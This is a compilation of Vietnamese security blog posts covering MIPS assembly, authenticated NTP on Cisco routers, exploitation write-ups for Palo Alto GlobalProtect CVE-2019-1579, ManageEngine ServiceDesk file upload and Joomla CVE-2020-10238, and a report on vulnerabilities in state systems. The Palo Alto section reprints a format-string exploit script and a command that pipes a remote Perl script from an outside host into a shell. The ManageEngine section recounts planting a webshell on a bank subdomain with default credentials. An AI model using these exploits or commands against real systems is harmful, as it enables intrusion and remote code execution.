Hợp ngữ MIPS (P2)

VSEC - BLOG Bảo mật cho người mới

Người đi rồi… áo mùa thu khép lại

Giấu trong tà một chút nắng vàng hanh

Buồn của tôi thay lá mọc trên cành

Chưa rụng vội để chờ mùa thu khác

Xin chào mọi người lại là mình đây, một dân nghiệp dư mới vào nghề. Dạo này do làm dự án công ty bận bịu quá chẳng có thời gian mà tìm hiểu và viết blog nữa ☹. Nay nhân một ngày thảnh thơi như cái tình trạng FA vào mùa đông của mình ,đành dành một chút thời gian để viết tiếp cái Seri dài tập chưa có hồi kết này để các bạn đọc tiếp ?).

Các lệnh tính toán số học.

Lệnh cộng.

Theo như mình biết thì gồm:

Lệnh Ví dụ Ý nghĩa
add add $1,$2,$3 $1=$2+$3
add immediate addi $1,$2,100 $1=$2+100 Có nghĩa là phép cộng có hằng số.
add unsigned addu $1,$2,$3 $1=$2+$3 Phép cộng số nguyên không dấu.
add immediate unsigned addiu $1,$2,100 $1=$2+100 Phép cộng số nguyên không dấu.

 

Cú pháp:

Đối với add,addu: <tên lệnh > <thanh ghi đích> , <thanh ghi 1>, < thanh ghi 2>

Đối với addi,addiu: <tên lệnh > <thanh ghi đích> , <thanh ghi 1> , < hằng số>

Ví dụ cụ thể:

Biên dịch file .c trên với kiến trúc MIPS như sau:

mips-linux-gnu-gcc -O3 -S -mfp32 -march=mips32 Sum.c

Hình ảnh khi được biên dịch ra MIPS Assembly.

Tại sao mình khai báo signed int nhưng khi biến dịch ra assembly lại nó lại dùng addiu. Thì theo như mình lướt dạo trên mạng thấy phần lớn trình trình biên dịch sẽ sử dụng addu và addiu để tránh “bẫy” tràn. Và add,addi chỉ sử dụng khi tự code hoặc được sử dụng trong ISAs như x86,ARM…

Lệnh trừ.

Lệnh Ví dụ Ý nghĩa
subtract sub $1,$2,$3 $1=$2-$3
subtract unsigned subu $1,$2,$3 $1=$2-$3 Phép trừ số nguyên không dấu

Cú pháp:

sub,subu: <tên lệnh > <thanh ghi đích> , <thanh ghi 1>, < thanh ghi 2>

Ví dụ cụ thể:

Hình ảnh khi được biên dịch ra MIPS Assembly.

Lệnh nhân

Lệnh Ví dụ Ý nghĩa
Multiply (withoutoverflow) mul $1,$2,$3 $1=$2*$3 Kết quả chỉ có 32 bits.
Multiply mult $2,$3 $hi,$low=$2*$3 Phép nhân tràn số 32 bit cao được lưu trong thanh ghi hi.

– 32 bit thấp được lưu trong thanh ghi low.

Ví dụ cụ thể:

Lệnh chia.

Lệnh Ví dụ Ý nghĩa
Divide div $2,$3 $hi,$low=$2/$3 Kết quả được lưu trong thanh ghi hi

Thươn số được lưu trong thanh ghi low

 

Thôi đoạn này mình lười lắm không chụp ảnh đâu ?). Cái này cũng tương tự như các hình trên thôi.

Lệnh tính toán Logic.

Lệnh Ví dụ Ý nghĩa
and and $1,$2,$3 $1=$2&$3 Bitwise AND
or or $1,$2,$3 $1=$2|$3 Bitwise OR
xor xor $1,$2,$3 $1 = $2 ??$3 Bitwise XOR
nor nor $1,$2,$3 $1 = ~($2 | $3) not of OR Bitwise NOR
and immediate andi $1,$2,100 $1=$2&100 Bitwise AND thanh ghi, hằng số
or immediate or $1,$2,100 $1=$2|100 Bitwise OR thanh ghi, hằng số
xor immediate xori $1, $2,10 $1 = ~$2 &~10 Bitwise XOR thanh ghi, hằng số
shift left logical sll $1,$2,10 $1=$2<<10 Dịch trái
shift right logical srl $1,$2,10 $1=$2>>10 Dịch phải

Ví dụ cụ thể.

Hình ảnh khi được biên dịch ra mã Asembly

Kết thúc phần 2 cho mùa đông lạnh lẽo ở đây thôi. Hẹn các bạn những phần tiếp theo nhé ^^.

Vu Van Tien ( aka n0_be3r )

[NETWORK SECURITY] Làm sao để xây dựng hệ thống mạng doanh nghiệp an toàn [P1]

VSEC - BLOG Bảo mật cho người mới

Lời đầu tiên cho mình xin gửi lời chào tới toàn thể các bạn/anh/chị/em trong lĩnh vực Network Security. Ý tưởng chính của series này nhằm cung cấp những kiến thức cơ bản nhất cho những ai muốn tìm tìm hiểu về “networking security” .

Trong bài viết này, mình sẽ giới thiệu một số dịch vụ triển khai dựa trên cở sở hạng tầng mạng của thiết bị Cisco, nhằm giúp cho người quan trị làm chủ hệ thống mạng như bảo mật, kiểm soát và xử lý sự cố được tốt hơn

Hiện nay, vấn đề bảo mật mạng là một vấn đề rất nan giải cho các công ty, cơ quan nhà nước, trường học và cả những người quản trị mạng…và làm sao để có thể xây dựng một hệ thống mạng an toàn ? Series này mình sẽ đề cập đến việc để thiết lập, cấu hình các giao thức syslog, NTP và SSH dưới góc độ “security“. Ở trong phần này mình sẽ nói về giao thức NTP và cách cấu hình an toàn với NTP trong một hệ thống mạng.

NTP là gì ?

NTP – Network Time Protocol là một giao thức để đồng bộ đồng hồ của các hệ thống máy tính thông qua mạng dữ liệu chuyển mạch gói với độ trễ biến đổi và nó hoạt động trên port 123/UDP.

Một câu hỏi được đặt ra là máy chủ NTP này nó lấy thời gian chuẩn ở đâu ?

Một nguồn thời gian chuẩn ở đây được gọi là đồng hồ nguyên tử (atomic clock) , nghe có vẻ nguy hiểm nhưng thực chất cơ chế của nó là điều chỉnh thời gian theo giao động của nguyên tử, tần số giao động của nguyên tử nó sẽ không đổi và có thể đo được, dựa vào tất cả các yếu tố đó người ta khẳng định đồng hồ nguyên tử là loại chính xác nhất hiện tại mà dựa vào cái đồng hồ này mà toàn bộ thiết bị trên thế giới sẽ theo quy chuẩn này.

Một câu hỏi nữa được đặt ra là thu thập nó theo cách nào ?

  • Thứ nhất là kết nối trực tiếp với đồng hồ nguyên tử hay từ các máy chủ khác có sử dụng NTP
  • Thứ 2 thông qua hệ thống GPS, các hệ thống định vị toàn cầu này sẽ lấy các tín hiệu từ những trạm đồng hồ nguyên tử đó và chuyển các tín hiệu đó cho các thiết bị thu đầu cuối, như điện thoại hoặc các thiết bị có khả năng thu sóng vệ tinh
  • Thứ 3 thông qua tín hiệu sóng radio

 

Các tín hiệu thời gian được sử dụng bởi hầu hết các máy chủ NTP là nguồn thời gian UTC (Coordinated Universal Time). UTC nó là thời gian toàn cầu dựa trên thời gian của đồng hồ nguyên tử và là một tiêu chuẩn được dùng để thiết lập tất cả các múi giờ trên thế giới. UTC gồm 2 phần chính là TAI, UT1

  • TAI (International Atomic Time): giờ nguyên tử quốc tế, đây là thang đo thời gian của hơn 400 đồng hồ nguyên tử trên thế giới, cung cấp độ chính xác cho đồng hồ của chúng ta
  • UT1 (Universal Time): Giờ thiên văn nó đề cập đến chuyển động quay của trái đất. Nó được sử dụng để so sánh tốc độ do TAI cung cấp với độ dài thực tế của một ngày trên Trái đất.

Dựa vào 2 yếu tố này nó tạo ra giờ UTC là giờ chuẩn nhất hiện nay

Tóm gọn lại, nói một cách đơn giản, máy chủ NTP tức là nó chạy một cái đồng hồ và đồng hồ này sẽ cung cấp thông tin về thời gian chuẩn cho các thiết bị mạng

 

Vấn đề bảo mật trong NTP

Tại sao phải sử dụng NTP, nếu ta sử dụng đồng hồ cục bộ trên các thiết bị thì vấn đề có thể xảy ra là các đồng hồ này có thể không chính xác hoặc không đồng bộ với nhau chính vì vậy mà các bản tin nhật ký mà các thiết bị này gửi về máy chủ log có thể là không chính xác nữa cho nên là sẽ khó khăn cho việc khi chúng ta muốn kiểm tra nhật ký xem là một cái sự kiện A diễn ra trong mạng tại thời điểm nào, nếu thời gian không chính xác thì rõ ràng việc điều tra về sự cố an ninh mạng nó không còn chính xác nữa cũng như là khó khăn trong việc xác định thời điểm.

Chính vì thế nếu ta chạy 1 cái đồng hồ đồng bộ cho toàn thiết bị mạng, lúc này ta chỉ cần cấu hình chính xác thời gian trên máy chủ này chính xác là được khi đó các thiết bị mạng sẽ đồng bộ theo đồng hồ ở trên máy chủ NTP này. Điều này rất là hữu ích, nó thể hiện khả năng quản lí tập trung đối với vấn đề về thời gian của các thiết bị mạng

Liệu vậy đã đủ ?

Lúc này kẻ tấn công nghĩ ra 1 thủ đoạn đó là gửi các cái bản tin thời gian giả mạo tới các thiết bị mạng này, khiến các thiết bị hoạt động sai lệch về mặt thời gian và gây khó khăn cho người quản trị mạng khi kiểm tra log, ngoài ra việc sai lệch thời gian còn làm cho các chứng chỉ số sẽ hoạt động không còn chính xác nữa vì vậy đây có thể là một trong những nguyên nhân gây ra gây ra các cuộc tấn công từ chối dịch vụ (DoS, DDoS) trên hệ thống của bạn, do đó cần phải xác thực các bản tin được trao đổi giữa NTP Server và các thiết bị mạng. Từ đó người ta nghĩ ra việc xác thực giữa máy chủ NTP và các thiết bị.

Lab

Để hiểu rõ hơn vấn đề, mình sẽ minh họa rõ hơn trong bài lab bằng thiết bị Router Cisco

Sơ đồ ví dụ

Bước 1: Cấu hình ban đầu

  • Thực hiện đặt ip trên các interace của các router như trên hình
  • Cấu hình định tuyến bất kỳ đảm bảo các mạng thông nhau

Bước 2: Cấu hình NTP & Xác thực

  • Cấu hình R1 đóng vai trò là nguồn đồng bộ thời gian thực cho hệ thống mạng
  • Cấu hình xác thực các gói tin NTP đến từ R1 của các router R2, R3, R4

Trên R1 (NTP master):

Setup thời gian chuẩn

R1(config)#clock timezone GMT +7 // múi giờ VN là GMT +7

R1(config)#ntp master 6

Xác định nguồn NTP, có thể là NTP server public, NTP từ mạng nội bộ, internal clock, trong bài lab này mình sẽ sử dụng internal clock của chính router này

R1(config)#ntp source loopback 0

R1(config)#ntp authenticate

R1(config)#ntp authentication-key 12 md5 ntppass12

R1(config)#ntp authentication-key 13 md5 ntppass13

R1(config)#ntp authentication-key 14 md5 ntppass14

R1(config)#ntp trusted-key 12

R1(config)#ntp trusted-key 13

R1(config)#ntp trusted-key 14

 

Trên R2 (NTP client):

R2(config)#ntp server 172.16.10.1 key 12

R2(config)#ntp authenticate

R2(config)#ntp authentication-key 12 md5 ntppass12

R2(config)#ntp trusted-key 12

 

Trên R3 (NTP client):

R3(config)#ntp server 172.16.10.1 key 13

R3(config)#ntp authenticate

R3(config)#ntp authentication-key 13 md5 ntppass13

R3(config)#ntp trusted-key 13

 

Trên R4 (NTP client):

R4(config)#ntp server 172.16.10.1 key 14

R4(config)#ntp authenticate

R4(config)#ntp authentication-key 14 md5 ntppass14

R4(config)#ntp trusted-key 14

 

Lưu ý: phải mất một khoảng thời gian việc đồng bộ mới diễn ra

Kiểm tra

R2#show ntp status

Clock is synchronized, stratum 7, reference is 172.16.1.1

nominal freq is 250.0000 Hz, actual freq is 250.0001 Hz, precision is 2**10

ntp uptime is 216200 (1/100 of seconds), resolution is 4000

reference time is E3057EDD.845A1E18 (11:43:09.517 GMT Fri Sep 11 2020)

clock offset is 0.0000 msec, root delay is 0.00 msec

root dispersion is 9.06 msec, peer dispersion is 5.19 msec

loopfilter state is ‘CTRL’ (Normal Controlled Loop), drift is -0.000000539 s/s

system poll interval is 64, last update was 161 sec ago.

 

R3#show ntp status

Clock is synchronized, stratum 7, reference is 172.16.1.1

nominal freq is 250.0000 Hz, actual freq is 250.0001 Hz, precision is 2**10

ntp uptime is 216200 (1/100 of seconds), resolution is 4000

reference time is E3057EDD.845A1E18 (11:46:02.567 GMT Fri Sep 11 2020)

clock offset is 0.0000 msec, root delay is 0.00 msec

root dispersion is 10.84 msec, peer dispersion is 5.86 msec

loopfilter state is ‘CTRL’ (Normal Controlled Loop), drift is -0.000000539 s/s

system poll interval is 64, last update was 518 sec ago.

 

R4#show ntp status

Clock is synchronized, stratum 7, reference is 172.16.1.1

nominal freq is 250.0000 Hz, actual freq is 250.0001 Hz, precision is 2**10

ntp uptime is 216200 (1/100 of seconds), resolution is 4000

reference time is E3057EDD.845A1E18 (11:51:02.767 GMT Fri Sep 11 2020)

clock offset is 0.0000 msec, root delay is 0.00 msec

root dispersion is 13.20msec, peer dispersion is 4.36 msec

loopfilter state is ‘CTRL’ (Normal Controlled Loop), drift is -0.000000539 s/s

system poll interval is 64, last update was 961.89 sec ago.

 

Kết quả show cho thấy R2, R3 và R4 đã đồng bộ thông tin thời gian thực với R1. Việc đồng bộ thành công cho thấy xác thực NTP đã diễn ra thành công.

Chúc các bạn thành công và hẹn mọi người vào blog tiếp theo về cấu hình an toàn trên server lưu log và SSH

References:

https://blog.apnic.net/2019/11/08/network-time-security-new-ntp-authentication-mechanism/

http://nelsonherron.tripod.com/itdir/cisco/ntp/ntp.htm

SSL VPN liệu có an toàn? Tìm hiểu về lỗ hổng PreAuth RCE của Palo Alto

Bảo mật cho người mới VSEC - BLOG

SSL VPN bảo vệ mạng nội bộ khỏi những cuộc tấn công trên Internet, nhưng điều gì xảy ra khi chính những dịch vụ SSL VPN lại chứa lỗ hổng bảo mật? Chúng có thể được truy cập qua Internet, là con đường được tin cậy dẫn tới mạng nội bộ của bạn. Khi một máy chủ SSL VPN bị chiếm quyền điều khiển, kẻ tấn công có thể xâm nhập vào mạng Intranet, thậm chí chiếm đoạt tất cả người dùng nết nối với máy chủ SSL VPN đó. Do tầm quan trọng của chúng, giờ đây càng ngày càng có nhiều nghiên cứu về bảo mật về các dịch vụ SSL VPN hiện có, trong đó Palo Alto là nhà cung cấp tôi chú ý nhất.

Vì sao lại là Palo Alto? Palo Alto với GlobalProtect là dịch vụ được khá nhiều các ngân hàng tại Việt Nam sử dụng. Vì vậy, việc tìm hiểu, nghiên cứu về những lỗ hổng của Palo Alto có thể giúp tôi cũng như VSEC thuận lợi trong quá trình kiểm thử bảo mật với những khách hàng là ngân hàng, tài chính.

Về lỗ hổng

Lỗ hổng mình nghiên cứu hôm nay là CVE-2019-1579, được tìm ra bởi Orange Tsai(@orange_8361) và Meh Chang(@mehqq_), là một lỗ hổng PreAuth RCE với thang điểm cve score là.

Một lỗ hổng format string đơn giản mà không cần xác thực. Sslmgr là cổng SSL xử lý các SSL handshake giữa máy chủ và máy khách. Daemon này có thể truy cập thông qua đường dẫn /sslmgr.

$ curl https://global-protect/sslmgr

<?xml version=”1.0″ encoding=”UTF-8″ ?>

<clientcert-response>

<status>error</status>

<msg>Invalid parameters</msg>

</clientcert-response>

Trong quá trình trích xuất tham số, daemon sẽ tìm kiếm chuỗi tên scep-profile-name và chuyển giá trị của nó dưới dạng định dạng snprintf để điền vào bộ đệm. Điều đó dẫn đến format string attack. Có thể làm crash dịch vụ với %n

POST /sslmgr HTTP/1.1

Host: global-protect

Content-Length: 36

scep-profile-name=%n%n%n%n%n…

Các phiên bản bị ảnh hưởng

Tất cả phiên bản GlobalProtect trước tháng bảy 2018 đều bị ảnh hưởng bởi lỗ hổng này! Danh sách các phiên bản bị ảnh hưởng:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

Các phiên bản 7.0.x và 9.x không bị ảnh hưởng bởi lỗ hổng này.

Thực hiện tấn công

Dưới đây là payload PoC của Orange Tsai và Meh Chang của lỗ hổng này:

#!/usr/bin/python

import requests

from pwn import *

url = “https://sslvpn/sslmgr”

cmd = “echo pwned > /var/appweb/sslvpndocs/hacked.txt”

strlen_GOT = 0x667788 # change me

system_plt = 0x445566 # change me

fmt = ‘%70$n’

fmt += ‘%’ + str((system_plt>>16)&0xff) + ‘c’

fmt += ‘%32$hn’

fmt += ‘%’ + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + ‘c’

fmt += ‘%24$hn’

for i in range(40,60):

fmt += ‘%’+str(i)+’$p’

data = “scep-profile-name=”

data += p32(strlen_GOT)[:-1]

data += “&appauthcookie=”

data += p32(strlen_GOT+2)[:-1]

data += “&host-id=”

data += p32(strlen_GOT+4)[:-1]

data += “&user-email=”

data += fmt

data += “&appauthcookie=”

data += cmd

r = requests.post(url, data=data)

Khi chạy thành công, sslmgr sẽ trở thành webshell với scep-profile-name là biến để inject command.

$ curl -d ‘scep-profile-name=curl orange.tw/bc.pl | perl -‘ https://global-protect/sslmgr

Case study

Một trong những case study lớn nhất của Orange là Uber, qua nghiên cứu, Orange Tsai phát hiện Uber có khoảng 22 máy chủ sử dụng GlobalProtect trên thế giới. Qua kiểm tra một máy chủ của họ, Orange tim được phiên bản sử dụng là 8.x, một phiên bản chứa lỗ hổng này. Và đây là PoC:

Reference: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html

Arbitrary File Upload trên ứng dụng ManaageEngine ServiceDesk Plus

VSEC - BLOG Bảo mật cho người mới

Mở đầu

Đây là writeup thứ 2 của mình sau khi tìm được một lỗ hổng nghiêm trọng nữa, target là một subdomain của ngân hàng trong nước

Bài viết mang tính chất tham khảo, không khuyến khích các hành động vi phạm pháp luật, tấn công khi không được cho phép.

Khai thác lỗ hổng

Sau một hồi khai thác thông tin và liệt kê các subdomains của target, mình đã tìm thấy một subdomain chạy ManageEngine ServiceDesk Plus. Tìm hiểu qua thì thấy có khá nhiều các khai thác lỗ hổng đã được công bố trên các diễn đàn, exploit-db,..

Một vài phút ngâm cứu, mình tìm ra được các có thể thực thi mã từ xa (RCE) trên subdomain này. Cần phải có ít nhất là quyền user (guest cũng được) để gửi POST request đến một endpoint (CVE-2019-8394)

2020 facing 2020 problems

“In file common/FileAttachment.jsp line 332 only check file upload extension when parameter ‘module’ equal to ‘SSP’ or ‘DashBoard’ or ‘HomePage’, and if parameter ‘module’ is set to ‘CustomLogin’ will skip check file upload extension function and upload arbitrary file to folder ‘/custom/login’ and this file can access directly from url ‘host:port/custom/login/filename’ . An authenticated user with minimum permission (ex: guest) can upload webshell to server.”

Nôm na là bằng cách thay giá trị của parameter “module” thành “CustomLogin” thì ứng dụng sẽ bỏ qua việc kiểm tra kiểu file khi upload lên server. File sau khi upload có thể được truy cập tại địa chỉ ‘host:port/custom/login/filename’.

Việc đầu tiên chúng ta cần làm đó là phải có được một tài khoản với bất kỳ quyền nào. Người ta nói rằng lao động hăng say vận may sẽ đến, tuy nhiên nó lại không phải là admin. Nhưng vậy là đủ để ta khai thác lỗ hổng CVE-2019-8394 này rồi.

admin:admin

Đã có tài khoản, chúng ta cùng tìm hiểu cách upload file

Bước 1 xác thực với tài khoản guest:guest, server sẽ trả về cookie JSESSIONID để xác thực cho các request của người dùng.

Lấy các cookie vừa nhận được và nhét vào trong cái payload dưới hình, đây là request upload file từ ứng dụng gửi lên server

(Link nội dung webshell github)

Notes: Nội dung webshell không được chứa các ký tự xuống dòng  (space thì ok)

Server trả về response 200, có vẻ là oke của binz

/custom/login/{your_shell_name}.jsp

Và BOOM, đã có vỏ sò dành cho người may mắn!

First time RCE on Window

Corona Quarantine List?

Kết

  • Luôn cập nhật ứng dụng lên phiên bản mới nhất, cài đặt các bản vá lỗ hổng từ nhà phát hành.
  • Luôn cố gắng nỗ lực thì thành công sẽ đến với bạn !!

Hành trình tìm kiếm CVE của Joomla (Phần 1)

VSEC - BLOG Bảo mật cho người mới

Mô tả ngắn gọn về CVE mình tìm được:

  1. CVE-2020-10238: Incorrect Access Control in com_templates (Bài mình nói về cái này) CVSS 2.0:5.0 và CVSS 3.x :7.5
  2. CVE-2020-10239: Incorrect Access Control in com_fields SQL field CVSS 2.0:6.5 và CVSS 3.x :8.8
  3. CVE-2020-10241: CSRF in com_templates image actions CVSS 2.0:6.8 và CVSS 3.x :8.8
  4. Và còn … cái nữa nhưng họ đang thảo luận sửa lỗi sao cho đúng nên họ hẹn bản cập nhật sau. Đồng nghĩa là mình chưa thể public cách khai thác được :))

—————————————————————————————————————————————–

Ban đầu thì mình được tham gia vào dự án của công ty để thực hiện quá trình pentest cho ứng dụng website. Thì tại website đó có sử dụng CMS là Joomla.

Trước khi đi vào chi tiết thì mình muốn làm rõ một vài khái niệm như:

  1. CVE là gì?

CVE (Common Vulnerabilities and Exposures) là 1 chương trình được khởi xướng vào năm 1999 bởi MITRE. Mục đích của chương trình này là phân loại và nhận dạng những lỗ hổng về phần cứng hoặc phần mềm, tập hợp thành 1 hệ thống mở để chuẩn hóa qui trình xác thực các lỗ hổng đã được biết. Những lỗ hổng này có thể dẫn đến các vụ tấn công an ninh mạng dưới các hình thức như chiếm quyền điều khiển hệ thống mục tiêu, đọc các dữ liệu quan trọng của người dùng như địa chỉ, số điện thoại, mã thẻ ngân hàng.

Như vậy, có thể coi CVE như 1 cơ sở dữ liệu về các lỗ hổng bảo mật, tạo thuận lợi cho việc đối chiếu thông tin giữa các công cụ và dịch vụ bảo mật khác nhau. Danh sách CVE chứa số ID, thông báo trạng thái, mô tả ngắn gọn và tài liệu tham khảo liên quan đến lỗ hổng bảo mật. Bằng việc tham chiếu CVE ID của 1 lỗ hổng nhất định, các tổ chức có thể thu thập thông tin nhanh gọn và chính xác từ nhiều nguồn tin khác nhau.

2. CMS là gì?

CMS là chữ viết tắt của Content Management System, hay còn gọi là hệ thống quản trị nội dung nhằm mục đích giúp dễ dàng quản lý, chỉnh sửa nội dung. Nội dung ở đây có thể là tin tức điện tử, báo chí hay các media hình ảnh, video, và nhiều loại tư liệu khác.

Hệ thống CMS giúp tiết kiệm thời gian quản lý, chi phí vận hành và bảo trì nên hiện nay có rất nhiều công ty sử dụng. Không chỉ là công ty mà hiện nay các blog cá nhân cũng ra đời với số lượng không hề nhỏ, và họ chọn giải pháp sử dụng CMS nhằm dễ dàng xây dựng website và quản lý nội dung, bên cạnh đó còn tiết kiệm được chi phí xây dựng website.

Và trong số đó thì có Joomla, chỉ đứng sau WordPress về mức độ phổ biến.

Thời điểm đầu

Và khi thực hiện pentest trên website đó, họ sử dụng Joomla version 1.5. Thoạt đầu thì có thể sẽ có rất nhiều CVE đã được công khai nhưng không thể khai thác. Mình quyết định duyệt quét các thành phần của Joomla. Thì website có sử dụng thành phần AllVideos Reloaded chứa lỗi SQL injection(Mình đã phải thử tay mới ra được, vì sử dụng tool đều trả về thành công trong khi thực tế là không tìm thấy, tốn rất nhiều thời gian). Chuyện gì đến cũng đến, từ SQLi có thể thu được username và password nhưng password lại được hash(MD5).salt .May mắn là có thể bruteforce được.

Khá hài là tìm được bản hash với quyền user manager và super-admin. Trong đó, quyền manager thì bạn chỉ có thể viết bài. Khi giải mã được thì tài khoản super-admin cần tiền bằng bitcoin để trả. Vì tiết kiệm tiền nên mình đã quyết định bypass bằng cách upload shell.

Như các bạn đã biết hoặc có thể chưa biết, việc bypass để upload shell của CMS là điều rất khó. Nhưng mình quyết định bypass. Bằng cách sử dụng các thủ thuật search google cũng không hiệu quả, mình chợt nghĩ thêm dấu “.” sau file để xem phản ứng là sao. Ồ, đã bypass và thực thi mã lệnh từ xa.

Thời điểm tìm kiếm

Từ đây, đã nung nấu trong lòng là tìm CVE. Khi tìm đến phiên bản mới mới thì mới phát hiện là đã có người tìm ra rồi, được 6.8 điểm. Khá tiếc.

Rồi, ra Tết Nguyên Đán thì phải đi làm. Ngay ngày đầu tiền của năm mình đã tìm cách bypass trên phiên bản mới nhất nhưng bất thành. Mình đã chuyển sang hướng khác là tìm cách xem họ có kiểm soát sai cách không? Tức là thực hiện quyền khi không được phép do ứng dụng không kiểm tra hoặc kiểm tra sai.

Trong chính sách phân quyền của Joomla, có 3 tài khoản là manger,admin và superadmin. Nếu bạn là superadmin thì bạn có thể làm mọi thứ. Nhưng khi phân quyền, rõ ràng là admin có quyền thấp hơn là không thể thực thi mã bằng cách gì đó.

Mình quyết định đi từ quyền admin vì rõ ràng quyền manager sẽ không hiệu quả. Bắt tay vào làm thì có một thành phần tên com_template cho phép người dùng có thể thêm/xóa/sửa code của template trực tiếp từ giao diện website như hình ảnh minh họa:

Giao diện template của super-admin

Phiên bản bị ảnh hưởng là nhỏ hơn hoặc bằng 3.9.15.

Link truy cập nhanh :

yourdomain/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==

Giao diện cho biết người đó là superadmin.

Mình tiến hành đăng nhập với quyền admin thì như sau:

Rõ ràng là khác nhau đã xảy ra.

Ý tưởng như sau: Sẽ sử dụng quyền admin để chỉnh sửa file index.php để thực thi mã lệnh từ xa(RCE).

Mình quyết định bắt request chỉnh sửa file index.php ở trên của quyền superadmin như sau:

Thêm vào file index.php code php thực thi mã như sau:

Thêm code để RCE

Tiến hành lưu lại và dùng Burpsuite để bắt request này:

Để dễ nhìn thì mình xóa hết file và chỉ để mã code như trên cho dễ nhìn:

Token của super-admin

Phần bôi vàng là token của superadmin. Joomla sử dụng token để loại bỏ lỗi CSRF. Không sao, ở đây là quyền admin.

Giữ lại request này. Và đăng nhập bằng quyền admin.

Để lấy token của admin thì mình làm như hình:

Chọn Edit và dùng Burpsuite để bắt request này:

Tìm token của admin

Phần bôi vàng chính là token của admin.

Bây giờ thực hiện thay token của admin cho superadmin và sửa phần URI như sau:

Request để RCE

Chuyển tiếp và kết quả:

Lưu thành công

Vậy là đã chèn mã thực thi, tự hỏi shell ở đâu?

Đơn giản, bạn chỉ cần về homepage như sau để thực thi mã:

RCE

Khi tìm được thì mình đã gửi mail cho Joomla theo hướng dẫn trên trang chủ của họ và kết quả sau cuối:

Mail gán CVE của Joomla

Để cho tự động hơn, mình viết tool để khai thác lỗi này cách sử dụng như sau:

Khai thác bằng tool

Video thực hiện:

https://vimeo.com/396947804

Mã nguồn cho lỗi này có tại:

https://github.com/HoangKien1020/Joomla-CVE/tree/master/CVE-2020-10238

CVE được gán:

https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html

Nguồn tham khảo cho các khái niệm:

  1. https://cystack.net/vi/resource/zero-day-la-gi-cve-la-gi/
  2. https://freetuts.net/cms-la-gi-cac-cms-pho-bien-hien-nay-342.html

Phát hiện hơn 1700 lỗ hổng, điểm yếu an toàn thông tin trong hệ thống cơ quan nhà nước

VSEC - BLOG Dành cho Chuyên gia kiểm thử

Có một số lỗ hổng đã và đang được các nhóm tấn công, hacker lợi dụng để thực hiện các cuộc tấn công có chủ đích APT…

Ảnh minh họa

Cục An toàn thông tin vừa cho biết, trong tháng 10/2022, Hệ thống kỹ thuật của Trung tâm Giám sát an toàn không gian mạng quốc gia (NCSC) đã ghi nhận 517.627 địa chỉ IP của Việt Nam nằm trong mạng botnet (giảm 2,49% so với tháng 9/2022). Trong số đó có 224 địa chỉ IP của cơ quan, tổ chức nhà nước (20 địa chỉ IP Bộ/Ngành, 204 địa chỉ IP Tỉnh/Thành).

Cụ thể, trong tháng 10, Bộ Khoa học và Công nghệ có số địa chỉ IP nằm trong mạng botnet nhiều nhất (8 địa chỉ); Đài Tiếng nói Việt Nam (7 địa chỉ); Kiểm toán Nhà nước và Bộ Tư Pháp (1 địa chỉ).

Về phía các địa phương, Lai Châu có số lượng địa chỉ IP nằm trong mạng botnet lớn nhất (33 địa chỉ); tiếp đó là Thanh Hóa (18); Nam Định (12), Hà Nam (11), Hà Nội (10), Điện Biên (9), Đắk Nông (9)….

Cũng trong tháng 10, Hệ thống kỹ thuật đã ghi nhận có 1.768 điểm yếu, lỗ hổng an toàn thông tin tại các hệ thống thông tin của các cơ quan tổ chức nhà nước. Các chuyên gia an ninh mạng nhận xét, số lượng điểm yếu, lỗ hổng nêu trên là rất lớn.

Do đó, Cục An toàn thông tin đã chỉ đạo Trung tâm Giám sát an toàn không gian mạng quốc gia triển khai đánh giá, xác định các lỗ hổng nguy hiểm, có ảnh hưởng trên diện rộng và hướng dẫn các Bộ/Ngành khắc phục. Đặc biệt, có một số lỗ hổng đã và đang được các nhóm tấn công lợi dụng để thực hiện các cuộc tấn công APT.

Trong số đó có một số lỗ hổng vẫn còn tồn tại trên nhiều máy chưa được xử lý. Một số điểm yếu lỗ hổng có số lượng máy bị ảnh hưởng nhiều như: CVE-2019-0708 (hơn 107.000 máy), CVE-2018-18688 (1.898 máy), CVE-2018-18688 (1.898 máy), CVE-2021-1674 (1.370 máy), CVE-2022-0655 (1.100 máy).

Một số lỗ hổng vẫn còn tồn tại trên nhiều máy chưa được xử lý

Bên cạnh các điểm yếu/lỗ hổng ghi nhận, Hệ thống kỹ thuật của Trung tâm NCSC còn phân tích và phát hiện nhiều máy tính của cơ quan nhà nước có kết nối đến địa chỉ IP/Domain nghi ngờ độc hại do các phần mềm phòng chống mã độc đã ghi nhận. Thống kê Top 4 kết nối nghi ngờ phát sinh trong tháng là: disorderstatus.ru; sunvn.net; atomictrivia.ru và differentia.ru.

Để đảm bảo an toàn hệ thống, các đơn vị chuyên trách về công nghệ thông tin, an toàn thông tin tại cơ quan, tổ chức phối hợp với các đơn vị cần rà soát xác định và tiến hành “vá” các lỗi trên hệ thống đặc biệt là các lỗ hổng này.

Thông tin thêm về tình hình triển khai công tác phòng chống phần mềm độc hại và chia sẻ dữ liệu mã độc theo Chỉ thị của Thủ tướng Chính phủ, Cục An toàn thông tin cho biết, đến hết tháng 10/2022 đã có 84 đơn vị (62 Tỉnh/Thành, 22 Bộ/Ngành) triển khai giải pháp phòng chống mã độc tập trung và thực hiện kết nối chia sẻ thông tin về mã độc với Trung tâm Giám sát an toàn không gian mạng quốc gia.

Trong tháng 10/2022, thông qua kết nối chia sẻ dữ liệu về mã độc từ 84 đơn vị, Hệ thống kỹ thuật của Trung tâm NCSC đã ghi nhận 74/84 đơn vị có kết nối thường xuyên, 70/74 đơn vị có chia sẻ về hệ điều hành các máy (với tổng số máy là 33.539).

Về tình hình triển khai công tác giám sát an toàn thông tin và kết nối chia sẻ dữ liệu giám sát theo Chỉ thị của Thủ tướng Chính phủ, đến hết tháng 10/2022 đã có 87 đơn vị (63 Tỉnh/Thành, 24 Bộ/Ngành) triển khai công tác giám sát an toàn thông tin và thực hiện kết nối chia sẻ dữ liệu giám sát với Trung NCSC.

